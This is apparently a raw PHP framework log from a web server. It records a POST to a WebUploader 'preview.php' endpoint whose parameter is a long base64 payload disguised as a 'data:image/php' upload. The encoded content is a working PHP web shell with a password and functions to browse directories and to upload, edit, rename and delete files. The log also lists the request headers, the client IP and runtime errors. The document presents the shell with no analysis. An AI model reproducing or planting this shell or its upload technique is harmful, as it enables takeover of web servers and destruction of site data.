CRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:15+08:00 ] 119.42.146.234 POST 51tianwei.com/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002623s] [吞吐率:381.23req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0I